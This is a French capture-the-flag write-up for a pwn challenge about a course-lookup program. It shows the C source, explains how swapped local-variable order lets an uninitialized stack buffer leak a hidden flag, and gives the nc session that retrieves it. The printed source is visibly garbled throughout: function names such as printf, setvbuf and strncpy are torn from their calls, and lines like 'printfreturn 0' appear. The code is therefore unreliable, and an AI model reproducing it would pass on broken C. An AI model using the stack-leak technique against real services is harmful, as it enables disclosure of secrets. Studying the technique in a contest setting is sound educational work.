Détails
- Catégorie : pwn
- Points : 25
- Résolutions: 192
Description
Dr. Staff will see you now…
nc pwn.chall.pwnoh.io 13383
Code source :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct Course {
char name[0x20];
char instructor[0x20];
int is_staff;
};
static void find_instructor(struct Course *courses, int course_count);
static void find_course(struct Course *courses, int course_count);
static void handle_option(int choice, struct Course *courses, int course_count);
#define NUM_COURSES 50
int main(int argc, char** argv) {
struct Course courses[NUM_COURSES];
(stdout, NULL, _IONBF, 0); // turn off buffered output
setvbuf
FILE *fin = fopen("sp22.txt", "r");
if (!fin) {
("Failed to open sp22.txt\n");
printfreturn 0;
}
// Read in courses and instructors
int course_count = 0;
while (course_count < NUM_COURSES) {
char *s = fgets(courses[course_count].name, 0x20, fin);
if (!s) break;
[strcspn(s, "\n")] = 0; // remove newline
s
= fgets(courses[course_count].instructor, 0x20, fin);
s if (!s) break;
[strcspn(s, "\n")] = 0; // remove newline
s
[course_count].is_staff = 1; // always hide instructors from students until the week before classes
courses++;
course_count}
while (1) {
("What would you like to do?\n1. Search for a course\n2. Search for an instructor\n> ");
printfint choice;
if (scanf("%d", &choice) != 1) break;
(stdin); // get newline
getc(choice, courses, course_count);
handle_option}
}
static void handle_option(int choice, struct Course *courses, int course_count) {
switch (choice) {
case 1:
(courses, course_count);
find_coursebreak;
case 2:
(courses, course_count);
find_instructorbreak;
default:
("bad choice\n");
printfbreak;
}
}
static void find_instructor(struct Course *courses, int course_count) {
char instructor[0x20];
char course[0x20];
("What instructor would you like to look up?\n> ");
printfchar *s = fgets(instructor, 0x20, stdin);
if (!s) return;
[strcspn(s, "\n")] = 0; // remove newline
s
if (strcmp(instructor, "Staff") == 0) {
("There were %d results, please be more specific in your search.\n", course_count);
printf} else {
int i;
for (i=0; i<course_count; i++) {
if (strcmp(instructor, courses[i].instructor) == 0) {
(course, courses[i].name, 0x20);
strncpybreak;
}
}
if (i == course_count) {
("We couldn't find your instructor.\n");
printfreturn;
}
}
("Professor %s will teach %s, but we'll probably change our minds the week before classes start.\n", instructor, course);
printf}
static void find_course(struct Course *courses, int course_count) {
char course[0x20];
char instructor[0x20];
("What course would you like to look up?\n> ");
printfchar *s = fgets(course, 0x20, stdin);
if (!s) return;
[strcspn(s, "\n")] = 0; // remove newline
s
int i;
for (i=0; i<course_count; i++) {
if (strcmp(course, courses[i].name) == 0) {
(instructor, courses[i].instructor, 0x20);
strncpybreak;
}
}
if (i == course_count) {
("Sorry, we couldn't find your course.\n");
printfreturn;
}
if (courses[i].is_staff) {
("This course will be taught by: Staff\n");
printf} else {
("This course will be taught by: %s\n", instructor);
printf}
}
Comprendre le problème
Dans ce challenge, le programme lit un fichier qui contient une liste de cours et d’instructeurs. L’un des instructeurs est le flag.
CSE 2221
Bucci
CSE 2231
Bucci
CSE 2331
Zaccai
FLAG 1337
buckeye{this_is_a_fake_flag}
CSE 2421
Kirby
CSE 2431
Babic
La chose importante à noter dans le code ci-dessus est :
static void find_instructor(struct Course *courses, int course_count) {
char instructor[0x20];
char course[0x20];
// ...
}
static void find_course(struct Course *courses, int course_count) {
char course[0x20];
char instructor[0x20];
// ...
}
L’ordre des variables instructor
et course
dans les fonctions find_instructor
et find_course
est inversé et c’est vraiment important car cela nous permet de divulguer le flag.
Donc, pour obtenir le flag, nous devons demander l’instructeur du cours FLAG 1337
mais l’instruction print ne sera pas atteinte à cause de la condition :
if (courses[i].is_staff) {
("This course will be taught by: Staff\n");
printf}
Résoudre le problème
Pour résoudre ce challenge, nous devons simplement appeler les fonctions dans le bon ordre avec les bons paramètres.
En effet, si nous demandons l’instructeur du cours FLAG 1337
les variables sur la pile seront remplies comme ceci :
course := "FLAG 1337"
instructor := "buckeye{this_is_a_fake_flag}"
Mais la variable instructeur ne sera pas affichée.
Maintenant, si nous appelons la fonction find_instructor
, les variables ressembleront à ceci :
instructor := "FLAG 1337"
course := "buckeye{this_is_a_fake_flag}"
Cette fonction demande l’instructeur que l’on recherche. Si l’instructeur est “Staff” alors la variable course
n’est pas écrasée et son contenu est affiché. C’est exactement ce que nous voulons !
En résumé, pour résoudre ce challenge, nous devons simplement appeler les fonctions dans le bon ordre avec les bons arguments.
Implémentation de la solution
$ nc pwn.chall.pwnoh.io 13383
What would you like to do?
1. Search for a course
2. Search for an instructor
> 1
What course would you like to look up?
> FLAG 1337
This course will be taught by: Staff
What would you like to do?
1. Search for a course
2. Search for an instructor
> 2
What instructor would you like to look up?
> Staff
There were 6 results, please be more specific in your search.
Professor Staff will teach buckeye{if_0n1y_th15_w0rk3d}, but we\'ll probably change our minds the week before classes start.
Flag : buckeye{if_0n1y_th15_w0rk3d}